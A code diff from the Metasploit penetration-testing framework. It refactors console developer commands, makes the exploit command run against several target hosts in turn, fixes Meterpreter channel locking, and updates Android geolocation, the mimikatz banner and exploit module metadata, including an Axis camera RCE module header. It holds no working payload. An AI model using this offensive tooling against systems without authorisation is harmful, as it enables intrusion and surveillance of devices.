||||
'log' => 'Display framework.log paged to the end if possible'
|
||||
}
|
||||
end
|
||||
|
||||
def local_editor
|
||||
framework.datastore['LocalEditor'] || Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR')
|
||||
framework.datastore['LocalEditor'] ||
|
||||
Rex::Compat.getenv('VISUAL') ||
|
||||
Rex::Compat.getenv('EDITOR') ||
|
||||
Msf::Util::Helper.which('vim') ||
|
||||
Msf::Util::Helper.which('vi')
|
||||
end
|
||||
|
||||
def local_pager
|
||||
framework.datastore['LocalPager'] || Rex::Compat.getenv('PAGER') || Rex::Compat.getenv('MANPAGER')
|
||||
framework.datastore['LocalPager'] ||
|
||||
Rex::Compat.getenv('PAGER') ||
|
||||
Rex::Compat.getenv('MANPAGER') ||
|
||||
Msf::Util::Helper.which('less') ||
|
||||
Msf::Util::Helper.which('more')
|
||||
end
|
||||
|
||||
# XXX: This will try to reload *any* .rb and break on modules
|
||||
def reload_file(path)
|
||||
unless File.exist?(path) && path.end_with?('.rb')
|
||||
print_error("#{path} must exist and be a .rb file")
|
||||
def reload_file(path, print_errors: true)
|
||||
full_path = File.expand_path(path)
|
||||
|
||||
unless File.exist?(full_path) && full_path.end_with?('.rb')
|
||||
print_error("#{full_path} must exist and be a .rb file") if print_errors
|
||||
return
|
||||
end
|
||||
|
||||
# The file must exist to reach this, so we try our best here
|
||||
if path =~ %r{^(?:\./)?modules/}
|
||||
print_error("Reloading Metasploit modules is not supported (try 'reload')")
|
||||
if full_path.start_with?(Msf::Config.module_directory, Msf::Config.user_module_directory)
|
||||
print_error('Reloading Metasploit modules is not supported (try "reload")') if print_errors
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Reloading #{path}")
|
||||
load path
|
||||
print_status("Reloading #{full_path}")
|
||||
load full_path
|
||||
end
|
||||
|
||||
def reload_changed_files
|
||||
# Using an array avoids shelling out, so we avoid escaping/quoting
|
||||
changed_files = %w[git diff --name-only]
|
||||
|
||||
output, status = Open3.capture2e(*changed_files, chdir: Msf::Config.install_root)
|
||||
|
||||
unless status.success?
|
||||
print_error("Git is not available: #{output.chomp}")
|
||||
return
|
||||
end
|
||||
|
||||
files = output.split("\n")
|
||||
|
||||
files.each do |file|
|
||||
f = File.join(Msf::Config.install_root, file)
|
||||
reload_file(file, print_errors: false)
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_irb_help
|
||||
print_line "Usage: irb"
|
||||
print_line 'Usage: irb'
|
||||
print_line
|
||||
print_line "Execute commands in a Ruby environment"
|
||||
print_line 'Open an interactive Ruby shell in the current context.'
|
||||
print @@irb_opts.usage
|
||||
end
|
||||
|
||||
#
|
||||
# Goes into IRB scripting mode
|
||||
# Open an interactive Ruby shell in the current context
|
||||
#
|
||||
def cmd_irb(*args)
|
||||
expressions = []
|
||||
|
@ -76,10 +106,16 @@ class Msf::Ui::Console::CommandDispatcher::Developer
|
|||
end
|
||||
|
||||
if expressions.empty?
|
||||
print_status("Starting IRB shell...\n")
|
||||
print_status('Starting IRB shell...')
|
||||
|
||||
begin
|
||||
Rex::Ui::Text::IrbShell.new(binding).run
|
||||
if active_module
|
||||
print_status("You are in #{active_module.fullname}\n")
|
||||
Rex::Ui::Text::IrbShell.new(active_module).run
|
||||
else
|
||||
print_status("You are in the \"framework\" object\n")
|
||||
Rex::Ui::Text::IrbShell.new(framework).run
|
||||
end
|
||||
rescue
|
||||
print_error("Error during IRB: #{$!}\n\n#{$@.join("\n")}")
|
||||
end
|
||||
|
@ -89,6 +125,11 @@ class Msf::Ui::Console::CommandDispatcher::Developer
|
|||
driver.input.reset_tab_completion
|
||||
end
|
||||
else
|
||||
# XXX: No vprint_status here either
|
||||
if framework.datastore['VERBOSE'].to_s == 'true'
|
||||
print_status("You are executing expressions in #{binding.receiver}")
|
||||
end
|
||||
|
||||
expressions.each { |expression| eval(expression, binding) }
|
||||
end
|
||||
end
|
||||
|
@ -104,12 +145,12 @@ class Msf::Ui::Console::CommandDispatcher::Developer
|
|||
def cmd_pry_help
|
||||
print_line 'Usage: pry'
|
||||
print_line
|
||||
print_line 'Open a Pry session on the current module or Framework.'
|
||||
print_line 'Open the Pry debugger on the current module or Framework.'
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Open a Pry session on the current module or Framework
|
||||
# Open the Pry debugger on the current module or Framework
|
||||
#
|
||||
def cmd_pry(*args)
|
||||
if args.include?('-h')
|
||||
|
@ -141,7 +182,7 @@ class Msf::Ui::Console::CommandDispatcher::Developer
|
|||
print_line
|
||||
print_line "Edit the currently active module or a local file with #{local_editor}."
|
||||
print_line 'If a library file is specified, it will automatically be reloaded after editing.'
|
||||
print_line "Otherwise, you can reload the active module with 'reload' or 'rerun'."
|
||||
print_line 'Otherwise, you can reload the active module with "reload" or "rerun".'
|
||||
print_line
|
||||
end
|
||||
|
||||
|
@ -166,7 +207,8 @@ class Msf::Ui::Console::CommandDispatcher::Developer
|
|||
editor = local_editor
|
||||
|
||||
unless editor
|
||||
editor = 'vim'
|
||||
# ed(1) is the standard editor
|
||||
editor = 'ed'
|
||||
print_warning("LocalEditor or $VISUAL/$EDITOR should be set. Falling back on #{editor}.")
|
||||
end
|
||||
|
||||
|
@ -192,22 +234,35 @@ class Msf::Ui::Console::CommandDispatcher::Developer
|
|||
end
|
||||
|
||||
def cmd_reload_lib_help
|
||||
print_line 'Usage: reload_lib lib/to/reload.rb [...]'
|
||||
print_line
|
||||
print_line 'Reload one or more library files from specified paths.'
|
||||
print_line
|
||||
cmd_reload_lib('-h')
|
||||
end
|
||||
|
||||
#
|
||||
# Reload one or more library files from specified paths
|
||||
# Reload Ruby library files from specified paths
|
||||
#
|
||||
def cmd_reload_lib(*args)
|
||||
if args.empty? || args.include?('-h') || args.include?('--help')
|
||||
cmd_reload_lib_help
|
||||
return
|
||||
options = OptionParser.new do |opts|
|
||||
opts.banner = 'Usage: reload_lib lib/to/reload.rb [...]'
|
||||
opts.separator ''
|
||||
opts.separator 'Reload Ruby library files from specified paths.'
|
||||
opts.separator ''
|
||||
|
||||
opts.on '-h', '--help', 'Help banner.' do
|
||||
return print(opts.help)
|
||||
end
|
||||
|
||||
opts.on '-a', '--all', 'Reload all* changed files in your current Git working tree.
|
||||
*Excludes modules and non-Ruby files.' do
|
||||
return reload_changed_files
|
||||
end
|
||||
end
|
||||
|
||||
args.each { |path| reload_file(path) }
|
||||
# The remaining unparsed arguments are files
|
||||
files = options.order(args)
|
||||
|
||||
return print(options.help) if files.empty?
|
||||
|
||||
files.each { |file| reload_file(file) }
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -220,15 +275,15 @@ class Msf::Ui::Console::CommandDispatcher::Developer
|
|||
def cmd_log_help
|
||||
print_line 'Usage: log'
|
||||
print_line
|
||||
print_line 'Displays framework.log starting at the bottom if possible.'
|
||||
print_line "For full effect, 'setg LogLevel 3' before running modules."
|
||||
print_line 'Display framework.log paged to the end if possible.'
|
||||
print_line 'For full effect, "setg LogLevel 3" before running modules.'
|
||||
print_line
|
||||
print_line "Log location: #{File.join(Msf::Config.log_directory, 'framework.log')}"
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Displays framework.log starting at the bottom if possible
|
||||
# Display framework.log paged to the end if possible
|
||||
#
|
||||
def cmd_log(*args)
|
||||
path = File.join(Msf::Config.log_directory, 'framework.log')
|
||||
|
@ -237,7 +292,7 @@ class Msf::Ui::Console::CommandDispatcher::Developer
|
|||
pager = local_pager.to_s.include?('less') ? "#{local_pager} +G" : local_pager
|
||||
|
||||
unless pager
|
||||
pager = 'tail -n 24'
|
||||
pager = 'tail -n 50'
|
||||
print_warning("LocalPager or $PAGER/$MANPAGER should be set. Falling back on #{pager}.")
|
||||
end
|
||||
|
||||
|
|
|
@ -47,6 +47,9 @@ class Exploit
|
|||
"Exploit"
|
||||
end
|
||||
|
||||
#
|
||||
# Launches an exploitation single attempt.
|
||||
#
|
||||
def exploit_single(mod, opts)
|
||||
begin
|
||||
session = mod.exploit_simple(opts)
|
||||
|
@ -63,41 +66,7 @@ class Exploit
|
|||
end
|
||||
end
|
||||
|
||||
# If we were given a session, let's see what we can do with it
|
||||
if session
|
||||
if !opts['Background'] && session.interactive?
|
||||
# If we aren't told to run in the background and the session can be
|
||||
# interacted with, start interacting with it by issuing the session
|
||||
# interaction command.
|
||||
print_line
|
||||
|
||||
driver.run_single("sessions -q -i #{session.sid}")
|
||||
# Otherwise, log that we created a session
|
||||
else
|
||||
# Otherwise, log that we created a session
|
||||
print_status("Session #{session.sid} created in the background.")
|
||||
end
|
||||
|
||||
elsif opts['RunAsJob'] && mod.job_id
|
||||
# Indicate if he exploit as a job, indicate such so the user doesn't
|
||||
# wonder what's up.
|
||||
print_status("Exploit running as background job #{mod.job_id}.")
|
||||
# Worst case, the exploit ran but we got no session, bummer.
|
||||
|
||||
else
|
||||
# If we didn't run a payload handler for this exploit it doesn't
|
||||
# make sense to complain to the user that we didn't get a session
|
||||
unless mod.datastore["DisablePayloadHandler"]
|
||||
fail_msg = 'Exploit completed, but no session was created.'
|
||||
print_status(fail_msg)
|
||||
begin
|
||||
framework.events.on_session_fail(fail_msg)
|
||||
rescue ::Exception => e
|
||||
wlog("Exception in on_session_open event handler: #{e.class}: #{e}")
|
||||
wlog("Call Stack\n#{e.backtrace.join("\n")}")
|
||||
end
|
||||
end
|
||||
end
|
||||
return session
|
||||
end
|
||||
|
||||
def cmd_exploit_tabs(str, words)
|
||||
|
@ -117,11 +86,12 @@ class Exploit
|
|||
end
|
||||
|
||||
#
|
||||
# Launches an exploitation attempt.
|
||||
# Launches exploitation attempts.
|
||||
#
|
||||
def cmd_exploit(*args)
|
||||
force = false
|
||||
module_opts = []
|
||||
any_session = false
|
||||
opts = {
|
||||
'Encoder' => mod.datastore['ENCODER'],
|
||||
'Payload' => mod.datastore['PAYLOAD'],
|
||||
|
@ -195,14 +165,75 @@ class Exploit
|
|||
end
|
||||
|
||||
rhosts = mod.datastore['RHOSTS']
|
||||
if rhosts
|
||||
Rex::Socket::RangeWalker.new(rhosts).each do |rhost|
|
||||
rhosts_range = Rex::Socket::RangeWalker.new(rhosts)
|
||||
# For multiple targets exploit attempts.
|
||||
if rhosts && rhosts_range.length.to_i > 1
|
||||
opts[:multi] = true
|
||||
rhosts_range.each do |rhost|
|
||||
nmod = mod.replicant
|
||||
nmod.datastore['RHOST'] = rhost
|
||||
exploit_single(nmod, opts)
|
||||
# If rhost is the last target, let exploit handler stop.
|
||||
opts["multi"] = false if rhost == (Rex::Socket.addr_itoa(rhosts_range.ranges.first.stop))
|
||||
# Catch the interrupt exception to stop the whole module during exploit
|
||||
begin
|
||||
print_status("Exploiting target #{rhost}")
|
||||
session = exploit_single(nmod, opts)
|
||||
rescue ::Interrupt
|
||||
print_status("Stopping exploiting current target #{rhost}...")
|
||||
print_status("Control-C again to force quit exploiting all targets.")
|
||||
begin
|
||||
Rex.sleep(1)
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
end
|
||||
end
|
||||
# If we were given a session, report it.
|
||||
if session
|
||||
print_status("Session #{session.sid} created in the background.")
|
||||
any_session = true
|
||||
end
|
||||
end
|
||||
# For single target or no rhosts option.
|
||||
else
|
||||
exploit_single(mod, opts)
|
||||
session = exploit_single(mod, opts)
|
||||
# If we were given a session, let's see what we can do with it
|
||||
if session
|
||||
any_session = true
|
||||
if !opts['Background'] && session.interactive?
|
||||
# If we aren't told to run in the background and the session can be
|
||||
# interacted with, start interacting with it by issuing the session
|
||||
# interaction command.
|
||||
print_line
|
||||
|
||||
driver.run_single("sessions -q -i #{session.sid}")
|
||||
# Otherwise, log that we created a session
|
||||
else
|
||||
# Otherwise, log that we created a session
|
||||
print_status("Session #{session.sid} created in the background.")
|
||||
end
|
||||
|
||||
elsif opts['RunAsJob'] && mod.job_id
|
||||
# Indicate if he exploit as a job, indicate such so the user doesn't
|
||||
# wonder what's up.
|
||||
print_status("Exploit running as background job #{mod.job_id}.")
|
||||
# Worst case, the exploit ran but we got no session, bummer.
|
||||
end
|
||||
end
|
||||
|
||||
# If we didn't get any session and exploit ended luanch.
|
||||
unless any_session
|
||||
# If we didn't run a payload handler for this exploit it doesn't
|
||||
# make sense to complain to the user that we didn't get a session
|
||||
unless mod.datastore["DisablePayloadHandler"]
|
||||
fail_msg = 'Exploit completed, but no session was created.'
|
||||
print_status(fail_msg)
|
||||
begin
|
||||
framework.events.on_session_fail(fail_msg)
|
||||
rescue ::Exception => e
|
||||
wlog("Exception in on_session_open event handler: #{e.class}: #{e}")
|
||||
wlog("Call Stack\n#{e.backtrace.join("\n")}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -63,6 +63,9 @@ module Msf
|
|||
mod_rank: mod.rank,
|
||||
mod_platforms: mod.send(:module_info)['Platform'],
|
||||
mod_options: mod.options,
|
||||
mod_side_effects: mod.side_effects,
|
||||
mod_reliability: mod.reliability,
|
||||
mod_stability: mod.stability,
|
||||
mod_demo: mod
|
||||
}
|
||||
|
||||
|
|
|
@ -257,6 +257,32 @@ module Msf
|
|||
end
|
||||
|
||||
|
||||
# Returns the markdown format for module side effects.
|
||||
#
|
||||
# @param side_effects [Array<String>] Module effects.
|
||||
# @return [String]
|
||||
def normalize_side_effects(side_effects)
|
||||
md_side_effects = side_effects.collect { |s| "* #{s}\n" }.join
|
||||
md_side_effects.empty? ? 'N/A' : md_side_effects
|
||||
end
|
||||
|
||||
|
||||
# Returns the markdown format for module reliability.
|
||||
#
|
||||
# @param reliability [Array<String>] Module reliability.
|
||||
# @return [String]
|
||||
def normalize_reliability(reliability)
|
||||
md_reliability = reliability.collect { |r| "* #{r}\n" }.join
|
||||
md_reliability.empty? ? 'N/A' : md_reliability
|
||||
end
|
||||
|
||||
|
||||
def normalize_stability(stability)
|
||||
md_stability = stability.collect { |s| "* #{s}\n" }.join
|
||||
md_stability.empty? ? 'N/A' : md_stability
|
||||
end
|
||||
|
||||
|
||||
# Returns a parsed demo ERB template.
|
||||
#
|
||||
# @param mod [Msf::Module] Metasploit module.
|
||||
|
|
|
@ -140,6 +140,7 @@ class Channel
|
|||
self.cid = cid
|
||||
self.type = type
|
||||
self.flags = flags
|
||||
@mutex = Mutex.new
|
||||
|
||||
# Add this instance to the list
|
||||
if (cid and client)
|
||||
|
@ -150,8 +151,12 @@ class Channel
|
|||
ObjectSpace.define_finalizer(self, self.class.finalize(client, cid))
|
||||
end
|
||||
|
||||
def self.finalize(client,cid)
|
||||
proc { self._close(client,cid) }
|
||||
def self.finalize(client, cid)
|
||||
proc {
|
||||
unless cid.nil?
|
||||
self._close(client, cid)
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
##
|
||||
|
@ -301,11 +306,14 @@ class Channel
|
|||
end
|
||||
|
||||
def _close(addends = nil)
|
||||
unless self.cid.nil?
|
||||
ObjectSpace.undefine_finalizer(self)
|
||||
self.class._close(self.client, self.cid, addends)
|
||||
self.cid = nil
|
||||
end
|
||||
# let the finalizer do the work behind the scenes
|
||||
@mutex.synchronize {
|
||||
unless self.cid.nil?
|
||||
ObjectSpace.undefine_finalizer(self)
|
||||
self.class._close(self.client, self.cid, addends)
|
||||
self.cid = nil
|
||||
end
|
||||
}
|
||||
end
|
||||
#
|
||||
# Enables or disables interactive mode.
|
||||
|
@ -370,7 +378,11 @@ class Channel
|
|||
# Stub close handler.
|
||||
#
|
||||
def dio_close_handler(packet)
|
||||
client.remove_channel(self.cid)
|
||||
@mutex.synchronize {
|
||||
cid = self.cid
|
||||
self.cid = nil
|
||||
}
|
||||
client.remove_channel(cid)
|
||||
|
||||
# Trap IOErrors as parts of the channel may have already been closed
|
||||
begin
|
||||
|
@ -378,9 +390,6 @@ class Channel
|
|||
rescue IOError
|
||||
end
|
||||
|
||||
# No more channel action, foo.
|
||||
self.cid = nil
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
|
|
|
@ -98,6 +98,8 @@ class TcpClientChannel < Rex::Post::Meterpreter::Stream
|
|||
# 2 -> both
|
||||
#
|
||||
def shutdown(how = 1)
|
||||
return false if self.cid.nil?
|
||||
|
||||
request = Packet.create_request('stdapi_net_socket_tcp_shutdown')
|
||||
|
||||
request.add_tlv(TLV_TYPE_SHUTDOWN_HOW, how)
|
||||
|
|
|
@ -385,7 +385,6 @@ class Console::CommandDispatcher::Android
|
|||
end
|
||||
|
||||
def cmd_geolocate(*args)
|
||||
|
||||
generate_map = false
|
||||
geolocate_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
|
@ -423,10 +422,8 @@ class Console::CommandDispatcher::Android
|
|||
def cmd_dump_calllog(*args)
|
||||
path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
||||
dump_calllog_opts = Rex::Parser::Arguments.new(
|
||||
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-o' => [ true, 'Output path for call log']
|
||||
|
||||
)
|
||||
|
||||
dump_calllog_opts.parse(args) do |opt, _idx, val|
|
||||
|
@ -565,19 +562,30 @@ class Console::CommandDispatcher::Android
|
|||
|
||||
def cmd_wlan_geolocate(*args)
|
||||
wlan_geolocate_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ]
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-a' => [ true, 'API key' ],
|
||||
)
|
||||
|
||||
wlan_geolocate_opts.parse(args) do |opt, _idx, _val|
|
||||
api_key = ''
|
||||
wlan_geolocate_opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line('Usage: wlan_geolocate')
|
||||
print_line('Tries to get device geolocation from WLAN information and Google\'s API')
|
||||
print_line(wlan_geolocate_opts.usage)
|
||||
return
|
||||
when '-a'
|
||||
api_key = val
|
||||
end
|
||||
end
|
||||
|
||||
if api_key.blank?
|
||||
print_error("You must enter an api_key")
|
||||
print_error("e.g. wlan_geolocate -a YOUR_API_KEY")
|
||||
print_line(wlan_geolocate_opts.usage)
|
||||
return
|
||||
end
|
||||
|
||||
log = client.android.wlan_geolocate
|
||||
wlan_list = []
|
||||
log.each do |x|
|
||||
|
@ -592,9 +600,10 @@ class Console::CommandDispatcher::Android
|
|||
return
|
||||
end
|
||||
g = Rex::Google::Geolocation.new
|
||||
g.set_api_key(api_key)
|
||||
|
||||
wlan_list.each do |wlan|
|
||||
g.add_wlan(*wlan)
|
||||
g.add_wlan(wlan[0], wlan[2]) # bssid, signalstrength
|
||||
end
|
||||
begin
|
||||
g.fetch!
|
||||
|
@ -602,7 +611,7 @@ class Console::CommandDispatcher::Android
|
|||
print_error("Error: #{e}")
|
||||
else
|
||||
print_status(g.to_s)
|
||||
print_status("Google Maps URL: #{g.google_maps_url}")
|
||||
print_status("Google Maps URL: #{g.google_maps_url}")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -34,12 +34,14 @@ class Console::CommandDispatcher::Core
|
|||
end
|
||||
|
||||
@@irb_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [false, 'Help banner.'],
|
||||
'-e' => [true, 'Expression to evaluate.'])
|
||||
'-h' => [false, 'Help menu.' ],
|
||||
'-e' => [true, 'Expression to evaluate.']
|
||||
)
|
||||
|
||||
@@load_opts = Rex::Parser::Arguments.new(
|
||||
'-l' => [false, 'List all available extensions'],
|
||||
'-h' => [false, 'Help menu.'])
|
||||
'-h' => [false, 'Help menu.' ],
|
||||
'-l' => [false, 'List all available extensions.']
|
||||
)
|
||||
|
||||
#
|
||||
# List of supported commands.
|
||||
|
@ -52,8 +54,8 @@ class Console::CommandDispatcher::Core
|
|||
'channel' => 'Displays information or control active channels',
|
||||
'exit' => 'Terminate the meterpreter session',
|
||||
'help' => 'Help menu',
|
||||
'irb' => 'Drop into irb scripting mode',
|
||||
'pry' => 'Open a Pry session on the current session',
|
||||
'irb' => 'Open an interactive Ruby shell on the current session',
|
||||
'pry' => 'Open the Pry debugger on the current session',
|
||||
'use' => 'Deprecated alias for "load"',
|
||||
'load' => 'Load one or more meterpreter extensions',
|
||||
'machine_id' => 'Get the MSF ID of the machine attached to the session',
|
||||
|
@ -532,7 +534,7 @@ class Console::CommandDispatcher::Core
|
|||
def cmd_irb_help
|
||||
print_line('Usage: irb')
|
||||
print_line
|
||||
print_line('Execute commands in a Ruby environment')
|
||||
print_line('Open an interactive Ruby shell on the current session.')
|
||||
print @@irb_opts.usage
|
||||
end
|
||||
|
||||
|
@ -542,7 +544,7 @@ class Console::CommandDispatcher::Core
|
|||
end
|
||||
|
||||
#
|
||||
# Runs the IRB scripting shell
|
||||
# Open an interactive Ruby shell on the current session
|
||||
#
|
||||
def cmd_irb(*args)
|
||||
expressions = []
|
||||
|
@ -561,12 +563,16 @@ class Console::CommandDispatcher::Core
|
|||
framework = client.framework
|
||||
|
||||
if expressions.empty?
|
||||
print_status('Starting IRB shell')
|
||||
print_status('The "client" variable holds the meterpreter client')
|
||||
print_line
|
||||
print_status('Starting IRB shell...')
|
||||
print_status("You are in the \"client\" (session) object\n")
|
||||
|
||||
Rex::Ui::Text::IrbShell.new(binding).run
|
||||
Rex::Ui::Text::IrbShell.new(client).run
|
||||
else
|
||||
# XXX: No vprint_status here
|
||||
if framework.datastore['VERBOSE'].to_s == 'true'
|
||||
print_status("You are executing expressions in #{binding.receiver}")
|
||||
end
|
||||
|
||||
expressions.each { |expression| eval(expression, binding) }
|
||||
end
|
||||
end
|
||||
|
@ -574,12 +580,12 @@ class Console::CommandDispatcher::Core
|
|||
def cmd_pry_help
|
||||
print_line 'Usage: pry'
|
||||
print_line
|
||||
print_line 'Open a Pry session on the current session.'
|
||||
print_line 'Open the Pry debugger on the current session.'
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Open a Pry session on the current session
|
||||
# Open the Pry debugger on the current session
|
||||
#
|
||||
def cmd_pry(*args)
|
||||
if args.include?('-h')
|
||||
|
|
|
@ -37,13 +37,12 @@ class Console::CommandDispatcher::Kiwi
|
|||
def initialize(shell)
|
||||
super
|
||||
print_line
|
||||
print_line
|
||||
print_line(" .#####. mimikatz 2.1.1 20180820 (#{client.session_type})")
|
||||
print_line(" .#####. mimikatz 2.1.1 20180925 (#{client.session_type})")
|
||||
print_line(" .## ^ ##. \"A La Vie, A L'Amour\"")
|
||||
print_line(" ## / \\ ## /* * *")
|
||||
print_line(" ## \\ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )")
|
||||
print_line(" '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)")
|
||||
print_line(" '#####' Ported to Metasploit by OJ Reeves `TheColonial` * * */")
|
||||
print_line(" ## / \\ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )")
|
||||
print_line(" ## \\ / ## > http://blog.gentilkiwi.com/mimikatz")
|
||||
print_line(" '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )")
|
||||
print_line(" '#####' > http://pingcastle.com / http://mysmartlogon.com ***/")
|
||||
print_line
|
||||
|
||||
si = client.sys.config.sysinfo
|
||||
|
|
|
@ -454,6 +454,7 @@ module DispatcherShell
|
|||
found = true
|
||||
end
|
||||
rescue ::Interrupt
|
||||
found = true
|
||||
print_error("#{method}: Interrupted")
|
||||
raise if propagate_errors
|
||||
rescue OptionParser::ParseError => e
|
||||
|
|
|
@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.3.47'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.3.52'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.4.2'
|
||||
# Needed by msfgui and other rpc components
|
||||
|
@ -131,6 +131,7 @@ Gem::Specification.new do |spec|
|
|||
spec.add_runtime_dependency 'dnsruby'
|
||||
spec.add_runtime_dependency 'mqtt'
|
||||
spec.add_runtime_dependency 'net-ssh'
|
||||
spec.add_runtime_dependency 'ed25519' # Adds ed25519 keys for net-ssh
|
||||
spec.add_runtime_dependency 'bcrypt_pbkdf'
|
||||
spec.add_runtime_dependency 'ruby_smb'
|
||||
|
||||
|
|
|
@ -22,14 +22,14 @@ class MetasploitModule < Msf::Auxiliary
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Rob Carr <rob[at]rastating.com>' # Discovery and Metasploit module
|
||||
'rastating' # Discovery and Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-2673'],
|
||||
['WPVDB', '7808'],
|
||||
['URL', 'http://blog.rastating.com/wp-easycart-privilege-escalation-information-disclosure']
|
||||
['URL', 'https://rastating.github.io/wp-easycart-privilege-escalation-information-disclosure/']
|
||||
],
|
||||
'DisclosureDate' => 'Feb 25 2015'
|
||||
))
|
||||
|
|
|
@ -24,8 +24,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Evex', # Vulnerability discovery
|
||||
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
||||
'Evex', # Vulnerability discovery
|
||||
'rastating' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
|
|
|
@ -25,9 +25,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||
['URL', 'https://nbulischeck.github.io/apple-safari-crash'],
|
||||
],
|
||||
'DisclosureDate' => "Sep 15 2018",
|
||||
'Actions' => [[ 'WebServer' ]],
|
||||
'PassiveActions' => [ 'WebServer' ],
|
||||
'DefaultAction' => 'WebServer'
|
||||
)
|
||||
)
|
||||
end
|
||||
|
@ -36,8 +33,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
exploit
|
||||
end
|
||||
|
||||
def on_request_uri(cli, _request)
|
||||
print_status('Sending response')
|
||||
def on_request_uri(cli, request)
|
||||
print_status("#{cli.peerhost}: Sending response to User-Agent: #{request['User-Agent']}")
|
||||
html = %|
|
||||
<html>
|
||||
<head>
|
||||
|
|
|
@ -18,9 +18,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Javier Nieto Arevalo', # Vulnerability disclosure
|
||||
'Andres Rojas Guerrero', # Vulnerability disclosure
|
||||
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
||||
'Javier Nieto Arevalo', # Vulnerability disclosure
|
||||
'Andres Rojas Guerrero', # Vulnerability disclosure
|
||||
'rastating' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
|
|
@ -31,6 +31,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
[ 'CVE', '2018-14058' ],
|
||||
[ 'EDB', '45208' ]
|
||||
],
|
||||
'Notes' =>
|
||||
{
|
||||
'SideEffects' => [ IOC_IN_LOGS ]
|
||||
},
|
||||
'DisclosureDate' => 'Aug 13, 2018'
|
||||
))
|
||||
|
||||
|
|
|
@ -18,8 +18,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'James Golovich', # Disclosure
|
||||
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
||||
'James Golovich', # Disclosure
|
||||
'rastating' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
|
|
@ -23,8 +23,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'James Hooker', # Disclosure
|
||||
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
||||
'James Hooker', # Disclosure
|
||||
'rastating' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
|
|
@ -40,10 +40,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
],
|
||||
'DisclosureDate' => 'Sep 24 2014',
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' =>
|
||||
{
|
||||
'AKA' => ['Shellshock']
|
||||
}
|
||||
'Notes' => {'AKA' => ['Shellshock']}
|
||||
))
|
||||
|
||||
register_options([
|
||||
|
|
|
@ -12,12 +12,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Axis Network Camera .srv to parhand RCE',
|
||||
'Description' => %q{
|
||||
'Name' => 'Axis Network Camera .srv to parhand RCE',
|
||||
'Description' => %q{
|
||||
This module exploits an auth bypass in .srv functionality and a
|
||||
command injection in parhand to execute code as the root user.
|
||||
},
|
||||
'Author' => [
|
||||
'Author' => [
|
||||
'Or Peles', # Vulnerability discovery (VDOO)
|
||||
'wvu', # Metasploit module
|
||||
'sinn3r', # Metasploit module
|
||||
|
@ -28,40 +28,62 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'Chris Lee', # Metasploit module
|
||||
'Cale Black' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
'References' => [
|
||||
['CVE', '2018-10660'],
|
||||
['CVE', '2018-10661'],
|
||||
['CVE', '2018-10662'],
|
||||
['URL', 'https://blog.vdoo.com/2018/06/18/vdoo-discovers-significant-vulnerabilities-in-axis-cameras/'],
|
||||
['URL', 'https://www.axis.com/files/faq/Advisory_ACV-128401.pdf']
|
||||
],
|
||||
'DisclosureDate' => 'Jun 18 2018',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => [ARCH_CMD, ARCH_ARMLE],
|
||||
